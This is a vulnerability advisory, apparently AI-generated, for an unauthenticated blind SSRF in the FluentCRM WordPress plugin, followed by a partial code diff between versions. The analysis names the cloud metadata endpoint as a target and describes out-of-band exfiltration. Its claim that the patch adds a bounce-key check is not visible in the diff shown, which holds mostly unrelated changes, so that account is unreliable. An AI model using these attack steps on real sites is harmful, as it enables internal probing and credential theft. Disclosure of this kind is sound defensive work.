Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 21, 2026

CVE-2026-7798: FluentCRM <= 2.9.87 – Unauthenticated Blind Server-Side Request Forgery via 'SubscribeURL' Parameter (fluent-crm)

CVE ID CVE-2026-7798
Plugin fluent-crm
Severity Medium (CVSS 5.4)
CWE 918
Vulnerable Version 2.9.87
Patched Version 3.0.0
Disclosed May 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7798: This vulnerability is an unauthenticated Blind Server-Side Request Forgery (SSRF) in the FluentCRM WordPress plugin, affecting all versions up to and including 2.9.87. The vulnerability resides in the Amazon SES bounce handling mechanism, specifically within the webhook endpoint that processes bounce notifications. An unauthenticated attacker can exploit this by providing a crafted ‘SubscribeURL’ parameter, causing the server to make HTTP requests to arbitrary internal or external destinations.

The root cause lies in the insufficient validation of the ‘SubscribeURL’ parameter within the SES bounce handling logic. The plugin registers a REST API route or AJAX handler to process bounce notifications from AWS SES. This endpoint accepts a ‘SubscribeURL’ parameter intended for SNS subscription confirmation. The code fails to validate that the provided URL points to a legitimate AWS endpoint before making an HTTP request to it. Atomic Edge analysis of the code diff reveals that the patch adds a new composer script file (fluent-crm/app/ComposerScript.php) and modifies several helper functions in fluent-crm/app/Functions/helpers.php, but the critical vulnerability fix involves adding an authentication check. Specifically, the bounce handling endpoint now requires a valid ‘_fc_bounce_key’ which is auto-generated when the bounce configuration page is visited. Without this key, the authentication check fails and rejects unauthenticated requests.

An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable endpoint, typically the REST API route or AJAX handler for SES bounce handling. The attack vector requires the site to be in its default/unconfigured state regarding SES bounce handling, meaning the ‘_fc_bounce_key’ has never been stored. The attacker sends a request with the ‘action’ parameter set to the bounce handler and a ‘SubscribeURL’ parameter containing a URL pointing to an internal service (e.g., http://169.254.169.254/latest/meta-data/) or an external attacker-controlled server. The server then blindly makes a GET or POST request to that URL, allowing the attacker to probe internal networks or exfiltrate data via the response.

The patch addresses the vulnerability by implementing an authentication check that verifies the ‘_fc_bounce_key’ parameter. Before the patch, the endpoint accepted the ‘SubscribeURL’ without any validation. After the patch, the endpoint checks for a stored bounce key; if none exists or if the provided key doesn’t match, the request is rejected. This effectively prevents unauthenticated attackers from triggering SSRF requests. The patch adds the ComposerScript class and multiple helper functions, but the core security fix is the bounce key validation that ensures only authorized requests (those with a valid key) can proceed.

If exploited, this SSRF vulnerability allows an attacker to scan internal networks, access cloud metadata endpoints (e.g., AWS, GCP), and potentially extract sensitive information such as API keys, database credentials, or instance metadata. In cloud environments, this can lead to full compromise of the underlying infrastructure. Additionally, an attacker could use the server to launch attacks against other internal services, potentially leading to lateral movement within the network. The blind nature of the SSRF means the attacker may not see direct responses, but they can use out-of-band techniques (e.g., DNS lookups, HTTP callbacks to attacker-controlled servers) to confirm successful exploitation and exfiltrate data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fluent-crm/app/ComposerScript.php
+++ b/fluent-crm/app/ComposerScript.php
@@ -0,0 +1,125 @@
+<?php
+// phpcs:disable
+namespace FluentCrmApp;
+
+use ComposerScriptEvent;
+use InvalidArgumentException;
+use RecursiveIteratorIterator;
+use RecursiveDirectoryIterator;
+
+class ComposerScript
+{
+    public static function postInstall(Event $event)
+    {
+        static::postUpdate($event);
+    }
+
+    public static function postUpdate(Event $event)
+    {
+        $vendorDir = $event->getComposer()->getConfig()->get('vendor-dir');
+        $composerJson = json_decode(file_get_contents($vendorDir . '/../composer.json'), true);
+        $namespace = $composerJson['extra']['wpfluent']['namespace']['current'];
+
+        if (!$namespace) {
+            throw new InvalidArgumentException("Namespace not set in composer.json file.");
+        }
+
+        $itr = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(
+            $vendorDir.'/wpfluent/framework/src/', RecursiveDirectoryIterator::SKIP_DOTS
+        ), RecursiveIteratorIterator::SELF_FIRST);
+
+        foreach ($itr as $file) {
+            if ($file->isDir()) {
+                continue;
+            }
+
+            $fileName = $file->getPathname();
+
+            $content = file_get_contents($fileName);
+            $content = str_replace(
+                ['WPFluent\', 'WPFluentPackage\'],
+                [$namespace . '\Framework\', $namespace . '\'],
+                $content
+            );
+
+            file_put_contents($fileName, $content);
+        }
+
+        static::updateVendorComposerFiles($vendorDir, $namespace);
+    }
+
+    protected static function updateVendorComposerFiles($vendorDir, $namespace)
+    {
+        $composerInstalledJson = json_decode(file_get_contents(
+            $installedJsonFile = $vendorDir . '/composer/installed.json'
+        ), true);
+
+        foreach ($composerInstalledJson['packages'] as &$package) {
+            if ($package['name'] == 'wpfluent/framework') {
+                $package['autoload']['psr-4'] = [
+                    $namespace . "\Framework\" => "src/WPFluent"
+                ];
+            } else {
+                $packageDir = $vendorDir . "/{$package['name']}/src/";
+
+                if(!is_dir($packageDir)) {
+                    continue;
+                }
+
+                $iterator = new RecursiveIteratorIterator(
+                    new RecursiveDirectoryIterator(
+                        $packageDir, RecursiveDirectoryIterator::SKIP_DOTS
+                    ),
+                    RecursiveIteratorIterator::SELF_FIRST
+                );
+
+                foreach ($iterator as $item) {
+
+                    if ($item->isDir()) {
+                        continue;
+                    }
+
+                    $fileName = $item->getPathname();
+                    $content = file_get_contents($fileName);
+                    $content = str_replace(
+                        ['WPFluent\', 'WPFluentPackage\'],
+                        [$namespace . '\Framework\', $namespace . '\'],
+                        $content
+                    );
+
+                    file_put_contents($fileName, $content);
+                }
+
+                $psr4 = array_keys($package['autoload']['psr-4']);
+
+                $replaced = str_replace(
+                    'WPFluentPackage', $namespace, $psr4[0]
+                );
+
+                $package['autoload']['psr-4'] = [
+                    $replaced => "src/"
+                ];
+
+                $packageComposerJson = json_decode(file_get_contents(
+                    $vendorDir .'/' . $package['name'] . '/composer.json'
+                ), true);
+
+                $packageComposerJson['autoload']['psr-4'] = [
+                    $replaced => "src/"
+                ];
+
+                file_put_contents(
+                    $vendorDir .'/' . $package['name'] . '/composer.json',
+                    json_encode($packageComposerJson, JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES)
+                );
+            }
+        }
+
+        file_put_contents(
+            $installedJsonFile,
+            json_encode($composerInstalledJson, JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT)
+        );
+
+        exec('composer dump-autoload');
+    }
+}
--- a/fluent-crm/app/Functions/helpers.php
+++ b/fluent-crm/app/Functions/helpers.php
@@ -64,14 +64,16 @@
 if (!function_exists('fluentCrmMix')) {
     /**
      * Generate URL for static assets for plugin's assets directory
+     * Now uses Vite helper for HMR support in dev mode
      *
      * @param string $path
+     * @param string $manifestDirectory (deprecated, kept for compatibility)
      *
      * @return string
      */
     function fluentCrmMix($path, $manifestDirectory = '')
     {
-        return FluentCrm('url.assets') . ltrim($path, '/');
+        return FluentCrmAppVite::getEnqueuePath(ltrim($path, '/'));
     }
 }

@@ -342,6 +344,29 @@
     return fluentcrm_delete_meta($campaignId, 'FluentCrmAppModelsCampaign', $key);
 }

+function fluentcrm_get_sms_campaign_meta($campaignId, $key, $returnValue = false)
+{
+    $item = fluentcrm_get_meta($campaignId, 'FluentCampaignAppModulesSMSModelsSMSCampaign', $key);
+    if ($returnValue) {
+        if ($item) {
+            return $item->value;
+        }
+        return false;
+    }
+
+    return $item;
+}
+
+function fluentcrm_update_sms_campaign_meta($campaignId, $key, $value)
+{
+    return fluentcrm_update_meta($campaignId, 'FluentCampaignAppModulesSMSModelsSMSCampaign', $key, $value);
+}
+
+function fluentcrm_delete_sms_campaign_meta($campaignId, $key = '')
+{
+    return fluentcrm_delete_meta($campaignId, 'FluentCampaignAppModulesSMSModelsSMSCampaign', $key);
+}
+
 /**
  * Get Email Campaign meta value
  * @param int $templateId ID of the template
@@ -526,6 +551,41 @@

 }

+function fluentcrm_subscriber_sms_statuses($isOptions = false)
+{
+    $core_statuses = [
+        'sms_subscribed',
+        'sms_pending',
+        'sms_unsubscribed',
+        'sms_bounced'
+    ];
+
+    $statuses = apply_filters('fluent_crm/contact_sms_statuses', $core_statuses);
+
+    if (!$isOptions) {
+        return $statuses;
+    }
+
+    $formattedStatues = [];
+    $transMaps = [
+        'sms_subscribed'   => __('SMS Subscribed', 'fluent-crm'),
+        'sms_pending'      => __('SMS Pending', 'fluent-crm'),
+        'sms_unsubscribed' => __('SMS Unsubscribed', 'fluent-crm'),
+        'sms_bounced'      => __('SMS Bounced', 'fluent-crm')
+    ];
+
+    foreach ($statuses as $status) {
+        $title = isset($transMaps[$status]) ? $transMaps[$status] : ucwords(str_replace('_', ' ', $status));
+        $formattedStatues[] = [
+            'id'    => $status,
+            'slug'  => $status,
+            'title' => $title
+        ];
+    }
+
+    return $formattedStatues;
+}
+
 /**
  * Get all subscriber editable status options.
  *
@@ -628,21 +688,21 @@
      * @param array $types {
      *     An associative array of contact activity types.
      *
-     *     @type string $note              Note activity type.
-     *     @type string $call              Call activity type.
-     *     @type string $email             Email activity type.
-     *     @type string $meeting           Meeting activity type.
-     *     @type string $quote_sent        Quote sent activity type.
-     *     @type string $quote_accepted    Quote accepted activity type.
-     *     @type string $quote_refused     Quote refused activity type.
-     *     @type string $invoice_sent      Invoice sent activity type.
-     *     @type string $invoice_part_paid Invoice part paid activity type.
-     *     @type string $invoice_paid      Invoice paid activity type.
-     *     @type string $invoice_refunded  Invoice refunded activity type.
-     *     @type string $transaction       Transaction activity type.
-     *     @type string $feedback          Feedback activity type.
-     *     @type string $tweet             Tweet activity type.
-     *     @type string $facebook_post     Facebook post activity type.
+     * @type string $note Note activity type.
+     * @type string $call Call activity type.
+     * @type string $email Email activity type.
+     * @type string $meeting Meeting activity type.
+     * @type string $quote_sent Quote sent activity type.
+     * @type string $quote_accepted Quote accepted activity type.
+     * @type string $quote_refused Quote refused activity type.
+     * @type string $invoice_sent Invoice sent activity type.
+     * @type string $invoice_part_paid Invoice part paid activity type.
+     * @type string $invoice_paid Invoice paid activity type.
+     * @type string $invoice_refunded Invoice refunded activity type.
+     * @type string $transaction Transaction activity type.
+     * @type string $feedback Feedback activity type.
+     * @type string $tweet Tweet activity type.
+     * @type string $facebook_post Facebook post activity type.
      * }
      */
     $types = apply_filters('fluent_crm/contact_activity_types', [
@@ -767,7 +827,7 @@
     $complianceSettings = FluentCrmAppServicesHelper::getComplianceSettings();

     $gravatarEnabled = $complianceSettings['enable_gravatar'] == 'yes' ? true : false;
-    $fallbackEnabled =  $complianceSettings['gravatar_fallback'] == 'yes' ? true : false;
+    $fallbackEnabled = $complianceSettings['gravatar_fallback'] == 'yes' ? true : false;

     if (!$gravatarEnabled) {
         return apply_filters('fluent_crm/default_avatar', FLUENTCRM_PLUGIN_URL . 'assets/images/avatar.png', $email);
@@ -797,6 +857,36 @@
 }

 /**
+ * Get avatar HTML for admin-facing UI and guarantee a safe placeholder.
+ *
+ * WordPress get_avatar() can return false when avatars are disabled, which
+ * breaks consumers that expect markup. In that case we fall back to the
+ * plugin's avatar URL helper and return a simple image tag.
+ *
+ * @param string $email
+ * @param string $name
+ * @param int    $size
+ * @return string
+ */
+function fluentcrmGetAvatarHtml($email, $name = '', $size = 128)
+{
+    $avatarHtml = get_avatar($email, $size);
+
+    if ($avatarHtml) {
+        return $avatarHtml;
+    }
+
+    $avatarUrl = fluentcrmGravatar($email, $name);
+
+    return sprintf(
+        '<img alt="%1$s" src="%2$s" class="avatar avatar-%3$d photo" height="%3$d" width="%3$d" />',
+        esc_attr($name),
+        esc_url($avatarUrl),
+        absint($size)
+    );
+}
+
+/**
  * get FluentCRM's Global Settings
  * @param string $key key of the setting
  * @param mixed $default default value
@@ -829,10 +919,18 @@

 /**
  * get if click tracking is enabled or disabled
- * @return bool
+ * @return bool|string
  */
 function fluentcrmTrackClicking()
 {
+
+    static $tracking = null;
+
+    if ($tracking !== null) {
+        return $tracking;
+    }
+
+
     /**
      * Determine if click tracking is enabled for FluentCRM Emails.
      *
@@ -840,7 +938,85 @@
      *
      * @return bool True if click tracking is enabled, false otherwise.
      */
-    return apply_filters('fluent_crm/track_click', true);
+    $trackClick = apply_filters('fluent_crm/track_click', true);
+
+    if (!$trackClick) {
+        $tracking = false;
+        return false; // disabled by filter
+    }
+
+    $complianceSettings = FluentCrmAppServicesHelper::getComplianceSettings();
+
+    $value = $complianceSettings['email_click_tracking'] ?? 'yes';
+
+    if ($value === 'yes') {
+        $tracking = true;
+        return true;
+    }
+
+    if ($value === 'no') {
+        $tracking = false;
+        return false;
+    }
+
+    if ($value === 'anonymous') {
+        $tracking = 'anonymous';
+        return 'anonymous';
+    }
+
+    return true; // default enabled
+}
+
+
+/**
+ * get if open tracking is enabled or disabled or anonymous
+ * @return bool|string
+ */
+function fluentcrmTrackEmailOpen()
+{
+
+    static $tracking = null;
+
+    if ($tracking !== null) {
+        return $tracking;
+    }
+
+
+    /**
+     * Determine if open tracking is enabled for FluentCRM Emails.
+     *
+     * This filter allows you to enable or disable open tracking in FluentCRM.
+     *
+     * @return bool True if open tracking is disable, true otherwise.
+     */
+    $disableTracking = apply_filters('fluentcrm_disable_email_open_tracking', false);
+
+    if ($disableTracking) {
+        $tracking = false;
+        return false; // disabled by filter
+    }
+
+    $complianceSettings = FluentCrmAppServicesHelper::getComplianceSettings();
+
+    $value = $complianceSettings['email_open_tracking'] ?? 'yes';
+
+    if ($value === 'yes') {
+        $tracking = true;
+        return $tracking;
+    }
+
+    if ($value === 'no') {
+        $tracking = false;
+        return $tracking;
+    }
+
+    if ($value === 'anonymous') {
+        $tracking = 'anonymous';
+        return $tracking;
+    }
+
+    $tracking = true; // default enabled
+    return $tracking;
 }


@@ -1036,7 +1212,25 @@
      * @param string The base URL for the FluentCRM admin menu.
      */
     $url = apply_filters('fluent_crm/menu_url_base', admin_url('admin.php?page=fluentcrm-admin#/'));
-    if($ext) {
+    if ($ext) {
+        $url .= $ext;
+    }
+
+    return $url;
+}
+
+function fluent_crm_menu_url_base_new($ext = '')
+{
+    /**
+     * Define the base URL for the FluentCRM admin menu.
+     *
+     * This filter allows customization of the base URL used in the FluentCRM admin menu.
+     * By default, it points to the FluentCRM admin page within the WordPress admin dashboard.
+     *
+     * @param string The base URL for the FluentCRM admin menu.
+     */
+    $url = apply_filters('fluent_crm/new_menu_url_base', admin_url('admin.php?page=fluent-crm-v3#/'));
+    if ($ext) {
         $url .= $ext;
     }

@@ -1085,8 +1279,8 @@
      *
      * This filter allows modification of the lifetime value of a contact profile.
      *
-     * @param int   $lifeTimeValue The initial lifetime value, default is 0.
-     * @param array $profile       The contact profile data.
+     * @param int $lifeTimeValue The initial lifetime value, default is 0.
+     * @param array $profile The contact profile data.
      *
      * @return int The modified lifetime value.
      */
@@ -1339,9 +1533,12 @@
 }

 /**
- * Get FluentCRM Query Builder instance
+ * Get FluentCRM Database Connection instance.
  *
- * @return FluentCrmFrameworkDatabaseQueryWPDBConnection
+ * Note: ->table()->get() returns FluentCrmFrameworkSupportCollection (not array).
+ * Use ->isEmpty() instead of !$result to check for empty results.
+ *
+ * @return FluentCrmFrameworkDatabaseQueryWPDBConnection
  */
 function fluentCrmDb()
 {
@@ -1350,7 +1547,8 @@

 function fluentCrmIsMemoryExceeded($percent = 75)
 {
-    $memory_limit = fluentCrmGetMemoryLimit() * ($percent / 100);
+    $memoryLimit = fluentCrmGetMemoryLimit();
+    $memory_limit = $memoryLimit * ($percent / 100);
     $current_memory = memory_get_usage(true);

     return $current_memory >= $memory_limit;
@@ -1371,7 +1569,7 @@
         $memory_limit = '128M'; // Sensible default, and minimum required by WooCommerce
     }

-    if (!$memory_limit || -1 === $memory_limit || '-1' === $memory_limit) {
+    if (!$memory_limit || -1 === $memory_limit || '-1' === $memory_limit || '-1M' === $memory_limit) {
         // Unlimited, set to 12GB.
         $memory_limit = '12G';
     }
@@ -1394,7 +1592,7 @@
     }

     if ($limit < 104857600) {
-        return 104857600;
+        return 104857600 * 2;
     }

     return $limit;
@@ -1433,7 +1631,7 @@
 function fluentCrmGetContactSecureHash($contactId)
 {
     if (!$contactId) {
-        return false;
+        return '';
     }

     $exist = SubscriberMeta::where('subscriber_id', $contactId)
@@ -1461,20 +1659,27 @@

 function fluentCrmGetContactManagedHash($contactId)
 {
+    static $cache = [];
+
+    if (isset($cache[$contactId])) {
+        return $cache[$contactId];
+    }
+
     $exist = SubscriberMeta::where('subscriber_id', $contactId)
         ->where('key', '_secure_managed_hash')
         ->first();

     if ($exist) {
-        $cutOutTime = time() - 60 * 60 * 24 * 30;
-        if (time() - strtotime($exist->updated_at) > $cutOutTime) {
+        if (time() - strtotime($exist->updated_at) > 60 * 60 * 24 * 30) {
             $hash = md5(wp_generate_uuid4() . '_' . $contactId . '_' . '_' . time()) . '__' . $contactId;
             $exist->value = $hash;
-            $exist->updated_at = gmdate('Y-m-d H:i:s');
+            $exist->updated_at = current_time('mysql');
             $exist->save();
+            $cache[$contactId] = $hash;
             return $hash;
         }

+        $cache[$contactId] = $exist->value;
         return $exist->value;
     }

@@ -1488,6 +1693,7 @@
         'value'         => $hash
     ]);

+    $cache[$contactId] = $hash;
     return $hash;
 }

@@ -1561,6 +1767,11 @@
     return ['campaign', 'recurring_mail'];
 }

+function fluentCrmAutoProcessSmsCampaignTypes()
+{
+    return ['campaign'];
+}
+
 function fluentCrmRunTimeCache($key, $value = NULL)
 {
     static $items = [];
--- a/fluent-crm/app/Hooks/CLI/Commands.php
+++ b/fluent-crm/app/Hooks/CLI/Commands.php
@@ -195,7 +195,7 @@

             $offset += $limit;

-            if (!$customers) {
+            if ($customers->isEmpty()) {
                 $processingStatus = false;
             } else {
                 foreach ($customers as $customer) {
@@ -415,7 +415,7 @@

             $offset += 10;

-            if (!$customers) {
+            if ($customers->isEmpty()) {
                 $processingStatus = false;
             } else {
                 foreach ($customers as $customer) {
@@ -634,7 +634,7 @@

             $offset += 10;

-            if (!$students) {
+            if ($students->isEmpty()) {
                 $processingStatus = false;
             } else {
                 foreach ($students as $student) {
@@ -869,7 +869,7 @@
             return;
         }

-        if (!$licenses) {
+        if ($licenses->isEmpty()) {
             WP_CLI::line('No users found');
             return;
         }
@@ -934,7 +934,7 @@
             return;
         }

-        if (!$licenses) {
+        if ($licenses->isEmpty()) {
             WP_CLI::line('No users found');
             return;
         }
@@ -1101,4 +1101,9 @@
         WP_CLI::line('User ids for contacts has been synced');
     }

+    public function simulate_funnel($args, $assoc_args)
+    {
+        (new SimulateFunnelCommand())->handle($args, $assoc_args);
+    }
+
 }
--- a/fluent-crm/app/Hooks/CLI/SimulateFunnelCommand.php
+++ b/fluent-crm/app/Hooks/CLI/SimulateFunnelCommand.php
@@ -0,0 +1,481 @@
+<?php
+
+namespace FluentCrmAppHooksCLI;
+
+use FluentCrmAppModelsFunnel;
+use FluentCrmAppModelsFunnelMetric;
+use FluentCrmAppModelsFunnelSequence;
+use FluentCrmAppModelsFunnelSubscriber;
+use FluentCrmAppModelsSubscriber;
+use FluentCrmAppServicesFunnelFunnelProcessor;
+
+class SimulateFunnelCommand
+{
+    /*
+     * Fast-forward a subscriber through an automation funnel, skipping wait times.
+     * Real actions will fire (tags applied, emails sent, etc.) — only delays are shortened.
+     *
+     * Usage:
+     *   wp fluent_crm simulate_funnel --funnel_id=123 --email=john@example.com
+     *   wp fluent_crm simulate_funnel --funnel_id=123 --subscriber_id=456
+     *   wp fluent_crm simulate_funnel --funnel_id=123 --email=john@example.com --sleep=1 --max_steps=50
+     *   wp fluent_crm simulate_funnel --funnel_id=123 --email=john@example.com --sleep=0
+     *
+     * --sleep=0 runs one step at a time (step mode). Run the command again to advance to the next step.
+     */
+    public function handle($args, $assoc_args)
+    {
+        $funnelId = WP_CLIUtilsget_flag_value($assoc_args, 'funnel_id');
+        $subscriberId = WP_CLIUtilsget_flag_value($assoc_args, 'subscriber_id');
+        $email = WP_CLIUtilsget_flag_value($assoc_args, 'email');
+        $sleepSeconds = intval(WP_CLIUtilsget_flag_value($assoc_args, 'sleep', 2));
+        $maxSteps = max(1, intval(WP_CLIUtilsget_flag_value($assoc_args, 'max_steps', 100)));
+        $stepMode = $sleepSeconds === 0;
+
+        if ($sleepSeconds < 0) {
+            $sleepSeconds = 0;
+        }
+
+        if (!$funnelId) {
+            WP_CLI::error('--funnel_id is required');
+        }
+
+        $funnel = Funnel::find(intval($funnelId));
+        if (!$funnel) {
+            WP_CLI::error('Funnel not found');
+        }
+
+        if ($subscriberId) {
+            $subscriber = Subscriber::find(intval($subscriberId));
+        } elseif ($email) {
+            $subscriber = Subscriber::where('email', sanitize_email($email))->first();
+        } else {
+            WP_CLI::error('--subscriber_id or --email is required');
+            return;
+        }
+
+        if (!$subscriber) {
+            WP_CLI::error('Subscriber not found');
+        }
+
+        WP_CLI::line('---');
+        WP_CLI::line(sprintf('Funnel: %s (#%d) - Status: %s', $funnel->title, $funnel->id, $funnel->status));
+        WP_CLI::line(sprintf('Subscriber: %s (#%d) - Status: %s', $subscriber->email, $subscriber->id, $subscriber->status));
+        if ($stepMode) {
+            WP_CLI::line('Mode: step-by-step (--sleep=0)');
+        } else {
+            WP_CLI::line(sprintf('Wait times will be reduced to %d second(s)', $sleepSeconds));
+        }
+        WP_CLI::line('---');
+
+        // Print funnel step map
+        $this->printFunnelSteps($funnel->id);
+
+        if ($funnel->status !== 'published') {
+            WP_CLI::warning('This funnel is not published. Proceeding anyway...');
+        }
+
+        // Check existing enrollment
+        $funnelSub = FunnelSubscriber::where('funnel_id', $funnel->id)
+            ->where('subscriber_id', $subscriber->id)
+            ->first();
+
+        if ($funnelSub) {
+            if (in_array($funnelSub->status, ['completed', 'cancelled'])) {
+                WP_CLI::line(sprintf('Subscriber already %s this funnel.', $funnelSub->status));
+                WP_CLI::confirm('Re-enroll and start fresh?');
+                $this->resetFunnelEnrollment($funnel->id, $subscriber->id, $funnelSub->id);
+                $funnelSub = null;
+            } elseif (in_array($funnelSub->status, ['active', 'waiting'])) {
+                $nextSeq = $funnelSub->next_sequence_id ? FunnelSequence::find($funnelSub->next_sequence_id) : null;
+                $nextLabel = $nextSeq ? ($nextSeq->title ?: $nextSeq->action_name) : 'unknown';
+                WP_CLI::line(sprintf('Subscriber is already in this funnel (status: %s, next: %s).', $funnelSub->status, $nextLabel));
+
+                // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fwrite
+                fwrite(STDOUT, 'Resume or Restart? (resume/restart): ');
+                $choice = strtolower(trim(fgets(STDIN)));
+
+                if ($choice === 'restart') {
+                    $this->resetFunnelEnrollment($funnel->id, $subscriber->id, $funnelSub->id);
+                    $funnelSub = null;
+                    WP_CLI::line('Restarting from the beginning...');
+                } else {
+                    WP_CLI::line('Resuming from current position...');
+                }
+            } else {
+                WP_CLI::line(sprintf('Current enrollment status: %s', $funnelSub->status));
+            }
+        }
+
+        // In auto-advance mode, minimize wait times so we don't actually wait days
+        if (!$stepMode) {
+            $filterDelay = max(1, $sleepSeconds);
+            add_filter('fluent_crm/funnel_seq_delay_in_seconds', function () use ($filterDelay) {
+                return $filterDelay;
+            }, 99999, 4);
+        }
+
+        $processor = new FunnelProcessor();
+
+        $firedHooks = [];
+
+        // Enroll if not already
+        if (!$funnelSub) {
+            WP_CLI::line('Enrolling subscriber into funnel...');
+
+            $hooksBefore = $this->snapshotHooks();
+            $processor->startSequences($subscriber, $funnel);
+            $firedHooks = array_merge($firedHooks, $this->diffHooks($hooksBefore));
+
+            $funnelSub = FunnelSubscriber::where('funnel_id', $funnel->id)
+                ->where('subscriber_id', $subscriber->id)
+                ->first();
+
+            if (!$funnelSub) {
+                WP_CLI::error('Failed to enroll — funnel may have no sequences');
+            }
+
+            $this->showExecutedMetrics($funnel->id, $subscriber->id, 'Enrollment');
+
+            // In step mode, stop after enrollment — next run will resume
+            if ($stepMode) {
+                $this->showStepModeNextUp($funnelSub);
+                $this->askAndShowFiredHooks($firedHooks);
+                $this->showFinalStatus($funnel->id, $subscriber->id, $funnelSub->id);
+                return;
+            }
+        }
+
+        // In step mode, process exactly one batch then stop
+        if ($stepMode) {
+            $lastMetricId = (int) FunnelMetric::where('funnel_id', $funnel->id)
+                ->where('subscriber_id', $subscriber->id)
+                ->max('id');
+
+            $hooksBefore = $this->snapshotHooks();
+            $this->processOneStep($processor, $funnelSub);
+            $firedHooks = array_merge($firedHooks, $this->diffHooks($hooksBefore));
+
+            // Show what was processed in this step
+            $newMetrics = FunnelMetric::where('funnel_id', $funnel->id)
+                ->where('subscriber_id', $subscriber->id)
+                ->where('id', '>', $lastMetricId)
+                ->orderBy('id', 'ASC')
+                ->get();
+
+            if ($newMetrics->count()) {
+                WP_CLI::line(sprintf('Processed %d action(s):', $newMetrics->count()));
+                foreach ($newMetrics as $metric) {
+                    $seq = FunnelSequence::find($metric->sequence_id);
+                    if ($seq) {
+                        WP_CLI::line(sprintf('  > [%s] %s', $seq->action_name, $seq->title ?: ''));
+                    }
+                }
+            }
+
+            $funnelSub = FunnelSubscriber::find($funnelSub->id);
+            $this->showStepModeNextUp($funnelSub);
+            $this->askAndShowFiredHooks($firedHooks);
+            $this->showFinalStatus($funnel->id, $subscriber->id, $funnelSub->id);
+            return;
+        }
+
+        // Fast-forward remaining steps
+        $step = 0;
+
+        while ($step < $maxSteps) {
+            $shouldBreak = $this->checkTerminalStatus($funnelSub);
+            if ($shouldBreak) {
+                break;
+            }
+
+            $step++;
+
+            // Show what's about to execute
+            $nextSeq = $funnelSub->next_sequence_id ? FunnelSequence::find($funnelSub->next_sequence_id) : null;
+            if ($nextSeq) {
+                WP_CLI::line(sprintf('[Step %d] %s: %s', $step, $nextSeq->action_name, $nextSeq->title ?: ''));
+            }
+
+            // Force execution time to now
+            FunnelSubscriber::where('id', $funnelSub->id)->update([
+                'next_execution_time' => current_time('mysql'),
+            ]);
+            $funnelSub->next_execution_time = current_time('mysql');
+
+            // Process the next step
+            $hooksBefore = $this->snapshotHooks();
+            $processor->processFunnelAction($funnelSub);
+            $firedHooks = array_merge($firedHooks, $this->diffHooks($hooksBefore));
+
+            sleep($sleepSeconds);
+
+            // Reload for next iteration
+            $funnelSub = FunnelSubscriber::find($funnelSub->id);
+        }
+
+        if ($step >= $maxSteps) {
+            WP_CLI::warning(sprintf('Reached max steps limit (%d). Use --max_steps to increase.', $maxSteps));
+        }
+
+        $this->askAndShowFiredHooks($firedHooks);
+        $this->showFinalStatus($funnel->id, $subscriber->id, $funnelSub ? $funnelSub->id : null);
+    }
+
+    private function resetFunnelEnrollment($funnelId, $subscriberId, $funnelSubId)
+    {
+        FunnelMetric::where('funnel_id', $funnelId)
+            ->where('subscriber_id', $subscriberId)
+            ->delete();
+        FunnelSubscriber::where('id', $funnelSubId)->delete();
+    }
+
+    private function showExecutedMetrics($funnelId, $subscriberId, $label)
+    {
+        $metrics = FunnelMetric::where('funnel_id', $funnelId)
+            ->where('subscriber_id', $subscriberId)
+            ->orderBy('id', 'ASC')
+            ->get();
+
+        if ($metrics->count()) {
+            WP_CLI::line(sprintf('%s processed %d step(s):', $label, $metrics->count()));
+            foreach ($metrics as $metric) {
+                $seq = FunnelSequence::find($metric->sequence_id);
+                if ($seq) {
+                    WP_CLI::line(sprintf('  > [%s] %s', $seq->action_name, $seq->title ?: ''));
+                }
+            }
+        }
+    }
+
+    private function processOneStep($processor, $funnelSub)
+    {
+        $funnelSub = FunnelSubscriber::find($funnelSub->id);
+
+        $shouldBreak = $this->checkTerminalStatus($funnelSub);
+        if ($shouldBreak) {
+            return;
+        }
+
+        // Force execution time to now so processFunnelAction picks it up
+        FunnelSubscriber::where('id', $funnelSub->id)->update([
+            'next_execution_time' => current_time('mysql'),
+        ]);
+        $funnelSub->next_execution_time = current_time('mysql');
+
+        // Use the real processor — SequencePoints resolves next batch,
+        // processSequencePoints executes it
+        $processor->processFunnelAction($funnelSub);
+    }
+
+    private function showStepModeNextUp($funnelSub)
+    {
+        if (!$funnelSub) {
+            return;
+        }
+
+        if ($funnelSub->status === 'active' && $funnelSub->next_sequence_id) {
+            $upNext = FunnelSequence::find($funnelSub->next_sequence_id);
+            WP_CLI::line(sprintf(
+                'Up next: [%s] %s',
+                $upNext ? $upNext->action_name : '?',
+                $upNext ? ($upNext->title ?: '') : ''
+            ));
+            WP_CLI::line('Run the command again to advance.');
+        }
+    }
+
+    private function checkTerminalStatus($funnelSub)
+    {
+        if (!$funnelSub) {
+            WP_CLI::error('Funnel subscriber record not found');
+            return true;
+        }
+
+        if ($funnelSub->status === 'completed') {
+            WP_CLI::success('Funnel completed!');
+            return true;
+        }
+
+        if ($funnelSub->status === 'cancelled') {
+            WP_CLI::warning('Funnel cancelled (subscriber may not be in a processable status)');
+            return true;
+        }
+
+        if ($funnelSub->status === 'waiting') {
+            $seq = $funnelSub->next_sequence_id ? FunnelSequence::find($funnelSub->next_sequence_id) : null;
+            WP_CLI::warning(sprintf(
+                'Blocked on benchmark: %s — cannot auto-advance past goals.',
+                $seq ? ($seq->title ?: $seq->action_name) : 'unknown'
+            ));
+            return true;
+        }
+
+        if ($funnelSub->status === 'pending') {
+            WP_CLI::warning('Subscriber is pending (needs double opt-in). Cannot auto-advance.');
+            return true;
+        }
+
+        if ($funnelSub->status !== 'active' || !$funnelSub->next_execution_time) {
+            return true;
+        }
+
+        return false;
+    }
+
+    private function snapshotHooks()
+    {
+        global $wp_actions;
+        return $wp_actions ?: [];
+    }
+
+    private function diffHooks($before)
+    {
+        global $wp_actions;
+        $after = $wp_actions ?: [];
+        $fired = [];
+
+        foreach ($after as $hook => $count) {
+            $prevCount = isset($before[$hook]) ? $before[$hook] : 0;
+            if ($count > $prevCount) {
+                // Only include fluentcrm-related hooks
+                if (strpos($hook, 'fluentcrm') !== false || strpos($hook, 'fluent_crm') !== false) {
+                    $fired[$hook] = $count - $prevCount;
+                }
+            }
+        }
+
+        return $fired;
+    }
+
